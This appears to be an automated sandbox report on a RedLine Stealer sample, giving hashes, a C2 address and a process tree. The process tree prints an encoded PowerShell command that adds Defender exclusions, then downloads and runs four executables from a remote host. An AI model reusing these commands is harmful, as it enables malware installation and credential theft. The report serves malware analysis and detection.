Analysis

  • max time kernel
    187s
  • max time network
    219s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    16/01/2023, 13:33

General

  • Target

    77d29818be0d01c38545baa0bd4551c6853c224b.exe

  • Size

    365KB

  • MD5

    343adbd49e24d1bdec30f634f4055da8

  • SHA1

    77d29818be0d01c38545baa0bd4551c6853c224b

  • SHA256

    404c51dbba49787d8c3d9cde78efc1a5eb0d9f139c0c6b130438870a0ecc244c

  • SHA512

    4c6831539aef807c7cb4875306e5fecc06b769924e0a1f80a5316f194a5235ec9e904c932b3ec4021e7ef2237bc2dba3db47a8a1cb20244c67c9fa1e6d88298f

  • SSDEEP

    6144:SVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO1DAjWbc:SRDF2BpjLQLsvBP0+ecyEY37C8P

Score
10/10

Malware Config

Extracted

Family

redline

Botnet

1

C2

107.182.129.73:21733

Attributes
  • auth_value

    3a5bb0917495b4312d052a0b8977d2bb

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 4 IoCs
  • Uses the VBS compiler for execution 1 TTPs
  • Suspicious use of SetThreadContext 2 IoCs
  • Program crash 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2700
      • C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe
        "C:\Users\Admin\AppData\Local\Temp\77d29818be0d01c38545baa0bd4551c6853c224b.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4884
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:1468
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4676
            • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
              "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
              5⤵
              • Executes dropped EXE
              PID:1396
            • C:\Users\Admin\AppData\Local\Temp\new2.exe
              "C:\Users\Admin\AppData\Local\Temp\new2.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:3020
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
                6⤵
                  PID:1448
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 3020 -s 304
                  6⤵
                  • Program crash
                  PID:2748
              • C:\Users\Admin\AppData\Local\Temp\SysApp.exe
                "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
                5⤵
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:720
              • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
                "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
                5⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:4652
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 4884 -s 328
            3⤵
            • Program crash
            PID:4936
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:3140
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4884 -ip 4884
        1⤵
          PID:1776
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3020 -ip 3020
          1⤵
            PID:984

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                  Filesize

                  53KB

                  MD5

                  124edf3ad57549a6e475f3bc4e6cfe51

                  SHA1

                  80f5187eeebb4a304e9caa0ce66fcd78c113d634

                  SHA256

                  638c51e173ca6b3469494a7e2e0b656021a761f77b4a83f3e430e82e7b9af675

                  SHA512

                  b6c1a9051feeffad54ba1092fd799d34a9578368d7e66b31780fe478c1def0eb4094dce2879003f7389f2f9d86b94a3ef3975e78092a604597841c9b8db120ee

                • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                  Filesize

                  19KB

                  MD5

                  4bcf71fe44462be5e9f237b184549b28

                  SHA1

                  fd053ba66f0f9c88c982878594cd3f8192f31a10

                  SHA256

                  e32cea0175f8233cfd95b11fcd5bedffc7e3609ce8ba7b8f0e98f8c9e29834cb

                  SHA512

                  b3ee36b6624686929d3681789f32fd8488908cf24c07762ed0fc98c1ac0330967bcf484a593effbcd008efeef80f66d730660d90ed97ae14a1e12ae0c13d66a5

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\C4Loader.exe

                  Filesize

                  1.4MB

                  MD5

                  bb86a343080f9f4696c250ef31a18d9d

                  SHA1

                  43b2193dcb1d56eac73ba88a7b461822074192d6

                  SHA256

                  095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0

                  SHA512

                  24807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560

                • C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe

                  Filesize

                  3.7MB

                  MD5

                  f5c51e7760315ad0f0238d268c03c60e

                  SHA1

                  85ebaaa9685634143a72bc82c6e7df87a78eed4c

                  SHA256

                  ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa

                  SHA512

                  d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\SysApp.exe

                  Filesize

                  1.4MB

                  MD5

                  b6bbab9f72c88d07b484cc339c475e75

                  SHA1

                  f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1

                  SHA256

                  dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f

                  SHA512

                  1ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • C:\Users\Admin\AppData\Local\Temp\new2.exe

                  Filesize

                  464KB

                  MD5

                  990c8e3fc56a2734631b51fc61a6779a

                  SHA1

                  55a16cc67fc52cdf0690387e083955048106d48a

                  SHA256

                  d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e

                  SHA512

                  f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5

                • memory/720-182-0x0000000002765000-0x00000000028A2000-memory.dmp

                  Filesize

                  1.2MB

                • memory/720-180-0x0000000002257000-0x000000000275B000-memory.dmp

                  Filesize

                  5.0MB

                • memory/720-176-0x0000000002257000-0x000000000275B000-memory.dmp

                  Filesize

                  5.0MB

                • memory/720-179-0x0000000002765000-0x00000000028A2000-memory.dmp

                  Filesize

                  1.2MB

                • memory/1396-181-0x0000000005AA0000-0x0000000005AAA000-memory.dmp

                  Filesize

                  40KB

                • memory/1396-163-0x0000000004C60000-0x0000000004CF2000-memory.dmp

                  Filesize

                  584KB

                • memory/1396-162-0x0000000000260000-0x00000000003CC000-memory.dmp

                  Filesize

                  1.4MB

                • memory/1448-168-0x0000000000400000-0x0000000000420000-memory.dmp

                  Filesize

                  128KB

                • memory/1448-193-0x0000000004DE0000-0x0000000004E1C000-memory.dmp

                  Filesize

                  240KB

                • memory/1448-190-0x00000000051F0000-0x0000000005808000-memory.dmp

                  Filesize

                  6.1MB

                • memory/1448-191-0x0000000004D80000-0x0000000004D92000-memory.dmp

                  Filesize

                  72KB

                • memory/1448-192-0x0000000004EB0000-0x0000000004FBA000-memory.dmp

                  Filesize

                  1.0MB

                • memory/1468-139-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/1468-133-0x0000000000400000-0x0000000000405000-memory.dmp

                  Filesize

                  20KB

                • memory/3140-189-0x000001DA4EA30000-0x000001DA4EA4C000-memory.dmp

                  Filesize

                  112KB

                • memory/3140-183-0x000001DA4D000000-0x000001DA4D022000-memory.dmp

                  Filesize

                  136KB

                • memory/3140-186-0x000001DA4E930000-0x000001DA4E94C000-memory.dmp

                  Filesize

                  112KB

                • memory/3140-187-0x000001DA4E920000-0x000001DA4E92A000-memory.dmp

                  Filesize

                  40KB

                • memory/3140-188-0x00007FFAB15C0000-0x00007FFAB2081000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3140-194-0x00007FFAB15C0000-0x00007FFAB2081000-memory.dmp

                  Filesize

                  10.8MB

                • memory/3140-195-0x000001DA4EA10000-0x000001DA4EA1A000-memory.dmp

                  Filesize

                  40KB

                • memory/3140-196-0x000001DA4EBC0000-0x000001DA4EBDA000-memory.dmp

                  Filesize

                  104KB

                • memory/3140-197-0x000001DA4EA20000-0x000001DA4EA28000-memory.dmp

                  Filesize

                  32KB

                • memory/4676-158-0x0000000008B70000-0x0000000009114000-memory.dmp

                  Filesize

                  5.6MB

                • memory/4676-141-0x0000000003010000-0x0000000003046000-memory.dmp

                  Filesize

                  216KB

                • memory/4676-142-0x0000000005690000-0x0000000005CB8000-memory.dmp

                  Filesize

                  6.2MB

                • memory/4676-143-0x0000000005610000-0x0000000005632000-memory.dmp

                  Filesize

                  136KB

                • memory/4676-144-0x0000000005D70000-0x0000000005DD6000-memory.dmp

                  Filesize

                  408KB

                • memory/4676-145-0x0000000005F90000-0x0000000005FF6000-memory.dmp

                  Filesize

                  408KB

                • memory/4676-146-0x00000000065E0000-0x00000000065FE000-memory.dmp

                  Filesize

                  120KB

                • memory/4676-147-0x0000000006BA0000-0x0000000006BD2000-memory.dmp

                  Filesize

                  200KB

                • memory/4676-157-0x0000000007B90000-0x0000000007BB2000-memory.dmp

                  Filesize

                  136KB

                • memory/4676-156-0x00000000012D0000-0x00000000012D8000-memory.dmp

                  Filesize

                  32KB

                • memory/4676-155-0x0000000007B80000-0x0000000007B9A000-memory.dmp

                  Filesize

                  104KB

                • memory/4676-154-0x0000000007B30000-0x0000000007B3E000-memory.dmp

                  Filesize

                  56KB

                • memory/4676-153-0x0000000007BC0000-0x0000000007C56000-memory.dmp

                  Filesize

                  600KB

                • memory/4676-152-0x0000000007970000-0x000000000797A000-memory.dmp

                  Filesize

                  40KB

                • memory/4676-151-0x0000000007900000-0x000000000791A000-memory.dmp

                  Filesize

                  104KB

                • memory/4676-150-0x0000000007F40000-0x00000000085BA000-memory.dmp

                  Filesize

                  6.5MB

                • memory/4676-149-0x0000000006B80000-0x0000000006B9E000-memory.dmp

                  Filesize

                  120KB

                • memory/4676-148-0x00000000704B0000-0x00000000704FC000-memory.dmp

                  Filesize

                  304KB